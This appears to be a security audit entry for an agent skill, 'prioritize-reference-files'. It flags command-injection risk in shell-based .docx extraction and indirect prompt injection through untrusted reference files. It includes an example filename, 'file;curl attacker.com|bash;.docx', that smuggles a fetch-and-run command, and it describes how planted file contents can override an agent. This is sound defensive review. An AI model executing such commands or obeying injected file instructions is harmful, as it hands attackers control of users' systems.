The Agent Skills Directory

[COMMAND_EXECUTION]: The skill's fallback extraction method for .docx files (Step 2) uses run_shell to execute commands such as unzip -p path/to/file.docx. If an attacker provides a reference file with a malicious name containing shell metacharacters (e.g., file;curl attacker.com|bash;.docx), the agent might execute arbitrary commands when attempting the extraction.
[COMMAND_EXECUTION]: The workflow suggests using shell_agent for complex extraction tasks. This delegation to a sub-agent with shell capabilities increases the potential for command-based exploitation when processing malformed or malicious file archives.
[PROMPT_INJECTION]: The skill mandates a "Reference files > Web search" priority, instructing the agent to treat data from external files as the primary source of truth. This behavior facilitates indirect prompt injection, where an attacker-controlled file (CSV, PDF, XLSX) can contain instructions that override the agent's behavior once the file is ingested.
Ingestion points: Task context reference files (xlsx, csv, json, pdf, docx, txt) identified in SKILL.md Step 1.
Boundary markers: None. The instructions prompt the agent to read and extract data directly without using delimiters or safety warnings for the untrusted content.
Capability inventory: The skill utilizes read_file for ingestion and both run_shell and shell_agent for processing, providing a high-privilege execution environment for data read from files.
Sanitization: No sanitization or validation steps are defined for the data read from external reference files.

prioritize-reference-files